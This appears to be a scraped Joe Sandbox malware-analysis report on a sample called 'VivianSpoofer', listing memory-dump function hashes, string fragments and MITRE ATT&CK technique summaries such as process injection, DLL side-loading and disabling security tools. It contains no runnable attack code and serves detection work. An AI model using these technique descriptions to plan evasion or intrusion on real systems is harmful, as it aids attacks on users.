Snapshot File: hcaresult_12_2_7ff848f20000_VivianSpoofer.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e0de55dc16765f13486bc942d8d6691e95406845025db204c1bfc9d27eaaa0f1
Instruction ID: 57113d0f0ebfae5786741aa00c853d6609270cff608d47b2cc98da29c861a129
Opcode Fuzzy Hash: e0de55dc16765f13486bc942d8d6691e95406845025db204c1bfc9d27eaaa0f1
Instruction Fuzzy Hash: 53515D31B1C9194FE31CEA3D984557632D7EB89361B11823DE04FC76D6EE28EC538684

Function 00007FF848F2126D Relevance: .2, Instructions: 205COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.3942226757.00007FF848F20000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848F20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_7ff848f20000_VivianSpoofer.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: aa02c8daeceb53dd369dc72625a5195d44f55cffbc59958760cb2c74bc33dd69
Instruction ID: 81ae822a2534f2cd4135343e81e109865c3ba922c1dd42b9e758dc0290c446bc
Opcode Fuzzy Hash: aa02c8daeceb53dd369dc72625a5195d44f55cffbc59958760cb2c74bc33dd69
Instruction Fuzzy Hash: 0351E83271C8054BE70C992D985647932C7EBE9711729623EF08BC77D7ED68ED134648

Function 00007FF848F2098D Relevance: .2, Instructions: 200COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.3942226757.00007FF848F20000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848F20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_7ff848f20000_VivianSpoofer.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: fc18551a6bcefc76f20297841fe51a5fd9cd1ae6edde773f373808610fe40aa5
Instruction ID: 23d44a7db630a1c66860cb1c53ae6f3c36d6e67a83b919d72ddccc9129f2b42f
Opcode Fuzzy Hash: fc18551a6bcefc76f20297841fe51a5fd9cd1ae6edde773f373808610fe40aa5
Instruction Fuzzy Hash: 27510536B1C5154FE71CBA2D981707976C7EBD9345F10923EE48BC72E2EE28EC124189

Function 00007FF848F25D1B Relevance: .2, Instructions: 193COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.3942226757.00007FF848F20000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848F20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_7ff848f20000_VivianSpoofer.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6897023a6834830b75f07272b348dc409ccc4abfd6666954e792a2d507df6f69
Instruction ID: d55edf7364b978b8bf61d699721520068a18ad4e762d6fab2754ee5f2087068e
Opcode Fuzzy Hash: 6897023a6834830b75f07272b348dc409ccc4abfd6666954e792a2d507df6f69
Instruction Fuzzy Hash: 8461B371F0551A8FDB48DB99D8816BDB7F3EB98301F14812AE40AE7384DA38ED06CB55

Function 00007FF848F20B38 Relevance: .2, Instructions: 193COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.3942226757.00007FF848F20000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848F20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_7ff848f20000_VivianSpoofer.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 03e4f9d9c7cab636a5585b68d01002c556e67cb74401a452d5ff8a034a251be5
Instruction ID: 95d289fad82041b32559da0b1edb113515e2dbb06811d8586c9b4ca7f31ccfcf
Opcode Fuzzy Hash: 03e4f9d9c7cab636a5585b68d01002c556e67cb74401a452d5ff8a034a251be5
Instruction Fuzzy Hash: 4F410831B1C11A0FE35CED2D885617532CBE7E9755754923EF48BC22D7ED28E8578148

Function 00007FF848F250DC Relevance: .2, Instructions: 192COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.3942226757.00007FF848F20000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848F20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_7ff848f20000_VivianSpoofer.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3bb9a31735e0c971fa41a5ee3b3278c9251ca898fa9936c2b2cbc71e641eecd6
Instruction ID: 1d80dfa9b6df0d0a905abcee5f5de64635d1a47041d7e4de31710f71bd7ffec1
Opcode Fuzzy Hash: 3bb9a31735e0c971fa41a5ee3b3278c9251ca898fa9936c2b2cbc71e641eecd6
Instruction Fuzzy Hash: 3841DF727A89150BA74CD82EDC2227971C3D7E9719358933EE58BC7BC2DD28EC1B8244

Function 00007FF848F21229 Relevance: .2, Instructions: 188COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.3942226757.00007FF848F20000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848F20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_7ff848f20000_VivianSpoofer.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: da9b880e2dabbfeb53f4e1b6775afc0f660dd357553726ee49f873edc3026ae6
Instruction ID: a616ee420c9387facdb5ba7789844f0802347bad7320f33368244a998af2815d
Opcode Fuzzy Hash: da9b880e2dabbfeb53f4e1b6775afc0f660dd357553726ee49f873edc3026ae6
Instruction Fuzzy Hash: 3F41043676851A4FD31CEA3E9C4647A32CBE7D9701714923EF48BC72D6EE24E8438544

Function 00007FF848F2C385 Relevance: .2, Instructions: 185COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.3942226757.00007FF848F20000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848F20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_7ff848f20000_VivianSpoofer.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1434ba774d9b8b4eea055db933455b06cc7752d4c7216606f571c2de4f6b5ca7
Instruction ID: d99b5fd0cd599af51bfc4a6c25fdfdfe71bff7893bf5d38d70a06822746203cd
Opcode Fuzzy Hash: 1434ba774d9b8b4eea055db933455b06cc7752d4c7216606f571c2de4f6b5ca7
Instruction Fuzzy Hash: D1410322B2C8210BE70CA62DA85507931C7DBC9715B18D23EF0CFCB2DAE929DC174288

Function 00007FF848F24837 Relevance: .2, Instructions: 183COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.3942226757.00007FF848F20000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848F20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_7ff848f20000_VivianSpoofer.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d0d59fdf1143ad79c31f737c376a786ae098d851bba3755e86436e177e8e0205
Instruction ID: 76d5ba1ebfea63821599bdc20f3a5292223b63331cde2a147cc23dc3b3e73ed3
Opcode Fuzzy Hash: d0d59fdf1143ad79c31f737c376a786ae098d851bba3755e86436e177e8e0205
Instruction Fuzzy Hash: CC510974E1491D8FDB88DF99D494ABDB7F2FFA8300F14416AD01AEB290CB74A941CB50

Function 00007FF848F20FD3 Relevance: .2, Instructions: 179COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.3942226757.00007FF848F20000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848F20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_7ff848f20000_VivianSpoofer.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4566b20bda268564b80035aba2bd874dc2b6f519f5be1f5bbca76739c62321a4
Instruction ID: 52f255410f1817a0e599ffffd7591d4d6381654766aa35642bfc87dc87d7d4d8
Opcode Fuzzy Hash: 4566b20bda268564b80035aba2bd874dc2b6f519f5be1f5bbca76739c62321a4
Instruction Fuzzy Hash: 8C41803271C90A4FE31CFB2DCC4A9B6B3D6E786361B44517ED146C72E2EE25A8558284

Function 00007FF848F2050D Relevance: .2, Instructions: 175COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.3942226757.00007FF848F20000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848F20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_7ff848f20000_VivianSpoofer.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5c6e9915fdb46cded04f257954981c59cfb9aac648ad88e5daaa09e27415dfa3
Instruction ID: 4596b90888727e35e8b55066c5d50119c00141a038467d0c8fb8dabb7c8030fa
Opcode Fuzzy Hash: 5c6e9915fdb46cded04f257954981c59cfb9aac648ad88e5daaa09e27415dfa3
Instruction Fuzzy Hash: 8A411332B28A144FD31CEA2EC85197A72D6EBC9355B54423EF48FC32D2DB38E8168744

Function 00007FF848F21065 Relevance: .2, Instructions: 173COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.3942226757.00007FF848F20000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848F20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_7ff848f20000_VivianSpoofer.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c6c64b610732916cf91ee01107e2fc0d2450ca11a17e59542df649231430dc41
Instruction ID: 99d19f20adca48439f670db8125cd850ec7dc96faf577a2bb49acaad42fd2377
Opcode Fuzzy Hash: c6c64b610732916cf91ee01107e2fc0d2450ca11a17e59542df649231430dc41
Instruction Fuzzy Hash: 474121357685144FE31CEA2E9C4683573CADB9A711744513EF8CBC32E2EE20DC13868A

Function 00007FF848F2C482 Relevance: .2, Instructions: 170COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.3942226757.00007FF848F20000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848F20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_7ff848f20000_VivianSpoofer.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 66deabd32bd85f2fcd6c867764ee7a2e2239cd3be295267a6a066e68a0d46388
Instruction ID: 0b3247bd4c6bf9ab7546585c2e2528bbd1e95f30436fcb50fa9e411de30cb48f
Opcode Fuzzy Hash: 66deabd32bd85f2fcd6c867764ee7a2e2239cd3be295267a6a066e68a0d46388
Instruction Fuzzy Hash: A341B036B6C5610B970CA92EA95103931CBDBC9715728D63EF4CBCB6CADD24DC179288

Function 00007FF848F24960 Relevance: .2, Instructions: 168COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.3942226757.00007FF848F20000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848F20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_7ff848f20000_VivianSpoofer.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: af42e41fcd50fcbb11fc6b57b2f4d9a41b9696cc5f7e352aafff748a8ce39c7d
Instruction ID: 8e5e78346c93e17670022291527b52bf40e2222cc4c032d1babf474ec1683fee
Opcode Fuzzy Hash: af42e41fcd50fcbb11fc6b57b2f4d9a41b9696cc5f7e352aafff748a8ce39c7d
Instruction Fuzzy Hash: 0C41F6367684410BE30CC51EAC5207676CBE7DA74AB2CE23FE48BCA2DADE74D8034549

Function 00007FF848F23470 Relevance: .1, Instructions: 149COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.3942226757.00007FF848F20000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848F20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_7ff848f20000_VivianSpoofer.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5365d0d45764a3415cb78826b52f899a702005e5bbaa12009e6b863830ce8c4d
Instruction ID: 77f072e003bad2db8e8fcc354e7b1092b558bf16c839caeb75b8cbf3570e7b7a
Opcode Fuzzy Hash: 5365d0d45764a3415cb78826b52f899a702005e5bbaa12009e6b863830ce8c4d
Instruction Fuzzy Hash: 17310835BB81410BA34CD92D598207A72CBD3CA20A738D23EE5DBCA7DBD939D9074189

Function 00007FF848F20A75 Relevance: .1, Instructions: 142COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.3942226757.00007FF848F20000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848F20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_7ff848f20000_VivianSpoofer.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7fe8c8e6a65d7e2c7998e3d4df7ebc26a8ab0845f1dd2771ab137c2a882b5d7a
Instruction ID: d80c0701d3b8ae336b9b1d9e4849af7c810850a399072fa85292280762efaf62
Opcode Fuzzy Hash: 7fe8c8e6a65d7e2c7998e3d4df7ebc26a8ab0845f1dd2771ab137c2a882b5d7a
Instruction Fuzzy Hash: D731593261D5154FF32CFA6DC8468B672D6EB86760F15423EE48BC35D2EF68A8428198

Function 00007FF848F211C0 Relevance: .1, Instructions: 137COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.3942226757.00007FF848F20000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848F20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_7ff848f20000_VivianSpoofer.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: cb2829245d7ef57edcc773e23602d5073aad5c5db2f0de1ecbbc0b4b3ebf442a
Instruction ID: 6ed3c6a1857a12932669f3f094f2fd397c692588dd663705373efc2b028cede7
Opcode Fuzzy Hash: cb2829245d7ef57edcc773e23602d5073aad5c5db2f0de1ecbbc0b4b3ebf442a
Instruction Fuzzy Hash: 64312F32B2D5144B961CE96E984647AB2CBD7CA621B04523DF58BC33D2ED24EC2385CA

Function 00007FF848F246C9 Relevance: .1, Instructions: 130COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.3942226757.00007FF848F20000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848F20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_7ff848f20000_VivianSpoofer.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 51792475fcbfa67d26980bf57e74c9969003ab81e4f5a75adf8ec3e074375fc7
Instruction ID: b807d8816449e7339a58b3a932bd5dec0bf4b7371c41e5dc64dfbeb38bece0d3
Opcode Fuzzy Hash: 51792475fcbfa67d26980bf57e74c9969003ab81e4f5a75adf8ec3e074375fc7
Instruction Fuzzy Hash: 95417D74F0451A8FDB48CF99D4915BEB3F3AFA8341F14812AE015E7384DA78AE118B55

Function 00007FF848F2114D Relevance: .1, Instructions: 126COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.3942226757.00007FF848F20000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848F20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_7ff848f20000_VivianSpoofer.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9a47769f476b05792094a95e90226b2a770165d1135a1736ff9eed55845d1892
Instruction ID: f64912aef6bed6194db4aec9fc1982c7863c2b2553285dd4ed6a8fe64c3378f4
Opcode Fuzzy Hash: 9a47769f476b05792094a95e90226b2a770165d1135a1736ff9eed55845d1892
Instruction Fuzzy Hash: 5A31243671C1650F931CE93E885947673C6E7D6211B54923FF9C7C72D2DE20E8079290

Function 00007FF848F2C5DD Relevance: .1, Instructions: 123COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.3942226757.00007FF848F20000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848F20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_7ff848f20000_VivianSpoofer.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f31451049b59aaa83a992f07390ad813f5a6220c47bc00d63427225ea823cd42
Instruction ID: 29bb7fc914a9d1eca884d8ea5a4926821c25ada3ddbf3e4ba1a768d453a54027
Opcode Fuzzy Hash: f31451049b59aaa83a992f07390ad813f5a6220c47bc00d63427225ea823cd42
Instruction Fuzzy Hash: 4531F43171C4210BD70CA92DA96503971C7EBC9B14724963DF5CBCB7DAED24DC2282C8

Function 00007FF848F213CF Relevance: .1, Instructions: 118COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.3942226757.00007FF848F20000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848F20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_7ff848f20000_VivianSpoofer.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b64327dd24ba33beea541a950dcafb3215d50b83fe02476cec1388ac0b6528a5
Instruction ID: 2af481ecaa784bf573d1aa22fe3d5b67c0e4e911220d4a4c156984174a82262b
Opcode Fuzzy Hash: b64327dd24ba33beea541a950dcafb3215d50b83fe02476cec1388ac0b6528a5
Instruction Fuzzy Hash: 8321233275C5050FA32CAA2E9C064B631C7EBDA361769A33DE08BC72CBED29F8034144

Function 00007FF848F20A2D Relevance: .1, Instructions: 109COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.3942226757.00007FF848F20000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848F20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_7ff848f20000_VivianSpoofer.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 28dfaa63b012a8b405882c3985dbfd569ef55021709a62d743762c239c0d9a0b
Instruction ID: aeb970caf81c58977a0af94fe2db211d157423938e82c9a2f538d56a9feffd57
Opcode Fuzzy Hash: 28dfaa63b012a8b405882c3985dbfd569ef55021709a62d743762c239c0d9a0b
Instruction Fuzzy Hash: 9221343171C61D4FA21CADBEAC1A4B6728AE386365B10933DF6CBC26D3FD14A8175198

Function 00007FF848F20EED Relevance: .1, Instructions: 102COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.3942226757.00007FF848F20000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848F20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_7ff848f20000_VivianSpoofer.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ef237e658f97f3bd074ae255cb2424197deef3ddb48d50fa7bd704b4b334efdb
Instruction ID: b656290abd433d193daa62d50a014e5a760ecabed5fa17fd9d24b45d3accccec
Opcode Fuzzy Hash: ef237e658f97f3bd074ae255cb2424197deef3ddb48d50fa7bd704b4b334efdb
Instruction Fuzzy Hash: 5421AC3221C10A1FE328AE7C8C5A8A7BF94E7A2360B14427FD586CB097EE04940783D5

Function 00007FF848F21297 Relevance: .1, Instructions: 96COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.3942226757.00007FF848F20000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848F20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_7ff848f20000_VivianSpoofer.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8149abd3cbbb4c4bece96acf3decd619bb71390de13ac3b9b8cc1494de549be2
Instruction ID: 458b7adcada436fee16c5d642c93c698c2c2526be1126b566ba6f7a0ee521a7e
Opcode Fuzzy Hash: 8149abd3cbbb4c4bece96acf3decd619bb71390de13ac3b9b8cc1494de549be2
Instruction Fuzzy Hash: 2A21353221C9194FE72CED39C856477B2DAE7CA325715833DE48BC3AD1EE28E8034284

Function 00007FF848F212CA Relevance: .1, Instructions: 65COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.3942226757.00007FF848F20000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848F20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_7ff848f20000_VivianSpoofer.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 60b41bd7e1b206b8105d00e4764ee88185e9ed8088141d6e78be6b2bbb320b9b
Instruction ID: 7d84f820fda05698892b6cc7f61096aad874139080dd9d9eb6bed169b2c75c75
Opcode Fuzzy Hash: 60b41bd7e1b206b8105d00e4764ee88185e9ed8088141d6e78be6b2bbb320b9b
Instruction Fuzzy Hash: 8B01D83660C5195FE329AD798C578ABB749E782360706423EE046C3581FE54A82691D5

Function 00007FF848F212FD Relevance: .1, Instructions: 64COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.3942226757.00007FF848F20000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848F20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_7ff848f20000_VivianSpoofer.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 23751bb07cf595521a345142c39f038e0af3a9dbaea69c54d056d005d265c196
Instruction ID: 913098e5a67c4038c7b913b5dc5f5c58800beb71d5fd87dc802d44d4b4468bbf
Opcode Fuzzy Hash: 23751bb07cf595521a345142c39f038e0af3a9dbaea69c54d056d005d265c196
Instruction Fuzzy Hash: 8601263671C5295FA32DED7E8C5ACABF749F782360746423EE046C7581EE90E82781D0

Function 00007FF848F20225 Relevance: 9.1, Strings: 7, Instructions: 360COMMON

Download Yara Rule

Strings

(QH, xrefs: 00007FF848F203C1
XQH, xrefs: 00007FF848F20421
@QH, xrefs: 00007FF848F203F1
0QH, xrefs: 00007FF848F203D1
PQH, xrefs: 00007FF848F20411
8QH, xrefs: 00007FF848F203E1
HQH, xrefs: 00007FF848F20401

Memory Dump Source

Source File: 0000000C.00000002.3942226757.00007FF848F20000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848F20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_7ff848f20000_VivianSpoofer.jbxd

Similarity

API ID:
String ID: (QH$0QH$8QH$@QH$HQH$PQH$XQH
API String ID: 0-385262168
Opcode ID: 5895571ef54e21e8f08162c0bad8d0c7d1c2172a023a0555885bfad3c9f37b63
Instruction ID: c17e13f764e390ab30047728d8d211bad491fb8cf3ff125acdf0abf8f77945d3
Opcode Fuzzy Hash: 5895571ef54e21e8f08162c0bad8d0c7d1c2172a023a0555885bfad3c9f37b63
Instruction Fuzzy Hash: DFB11323A0E5928FE351B7BC74551F96BA0EF953A5F0802BBD18CCE0D3DE1D68468399

Function 00007FF848F2036D Relevance: 9.0, Strings: 7, Instructions: 236COMMON

Download Yara Rule

Strings

(QH, xrefs: 00007FF848F203C1
XQH, xrefs: 00007FF848F20421
@QH, xrefs: 00007FF848F203F1
0QH, xrefs: 00007FF848F203D1
PQH, xrefs: 00007FF848F20411
8QH, xrefs: 00007FF848F203E1
HQH, xrefs: 00007FF848F20401

Memory Dump Source

Source File: 0000000C.00000002.3942226757.00007FF848F20000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848F20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_7ff848f20000_VivianSpoofer.jbxd

Similarity

API ID:
String ID: (QH$0QH$8QH$@QH$HQH$PQH$XQH
API String ID: 0-385262168
Opcode ID: 7498d695fc7b9b1e72d00de3ae65e7cd9f5952a52a3ca98ae9e8df4ac7c59003
Instruction ID: 4afd1831db72d4cce151cd397302ef3e1a2895f1aaf3dc18a7f66b08b7983164
Opcode Fuzzy Hash: 7498d695fc7b9b1e72d00de3ae65e7cd9f5952a52a3ca98ae9e8df4ac7c59003
Instruction Fuzzy Hash: 4461F432E0E9868FE355B77C34511B96BA0EF963A4F0801BAD08CCB1D7DE1D6C418359

Function 00007FF848F21505 Relevance: 5.1, Strings: 4, Instructions: 106COMMON

Download Yara Rule

Strings

UH, xrefs: 00007FF848F215B9
SH, xrefs: 00007FF848F21549
UH, xrefs: 00007FF848F215C9
SH, xrefs: 00007FF848F21539

Memory Dump Source

Source File: 0000000C.00000002.3942226757.00007FF848F20000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848F20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_7ff848f20000_VivianSpoofer.jbxd

Similarity

API ID:
String ID: SH$SH$UH$UH
API String ID: 0-3694230934
Opcode ID: ea26cac0acd72b1b7ee46510f91fe4a4f5441509d0457579478a031707a4d8e2
Instruction ID: 551b6a67c19dda9bdc752de13d8afd10105ce436cba3e670a5462340ec731822
Opcode Fuzzy Hash: ea26cac0acd72b1b7ee46510f91fe4a4f5441509d0457579478a031707a4d8e2
Instruction Fuzzy Hash: 6331C463E0EAD24FE31657BC7856135AFA0FF53650B5900FBC0858B0DFA62DA8458389

Function 00007FF848F20F7D Relevance: 5.0, Strings: 4, Instructions: 18COMMON

Download Yara Rule

Strings

!+5, xrefs: 00007FF848F20F8E
s, xrefs: 00007FF848F20F96
"35, xrefs: 00007FF848F20F86
#;5, xrefs: 00007FF848F20F7E

Memory Dump Source

Source File: 0000000C.00000002.3942226757.00007FF848F20000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848F20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_7ff848f20000_VivianSpoofer.jbxd

Similarity

API ID:
String ID: s$!+5$"35$#;5
API String ID: 0-3893703743
Opcode ID: e2ede7310dcc3379b5d5b82ff080a29710685f31ba132a7e9ae751bae41e3466
Instruction ID: 43cc3361569c73baaa663282a2964604b42ba08b9deb02adc7d999c71593c0c8
Opcode Fuzzy Hash: e2ede7310dcc3379b5d5b82ff080a29710685f31ba132a7e9ae751bae41e3466
Instruction Fuzzy Hash: D2D0120BF3A875078915168DF8222DCD754E6C41B37D101B3CA44D215051C4B81B93D1

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use bootkits to persist on systems. Bootkits reside at a layer below the operating system and may make it difficult to perform full remediation unless an organization suspects one was used and can act accordingly.
Tactics:	Defense Evasion, Persistence
Data Sources:	Drive: Drive Modification
Platforms:	Linux, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may circumvent mechanisms designed to control elevate privileges to gain higher-level permissions. Most modern systems contain native elevation control mechanisms that are intended to limit privileges that a user can perform on a machine. Authorization has to be granted to specific users in order to perform tasks that can be considered of higher risk. An adversary can perform several methods to take advantage of built-in control mechanisms in order to escalate privileges on a system.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, User Account: User Account Modification, Windows Registry: Windows Registry Key Modification
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
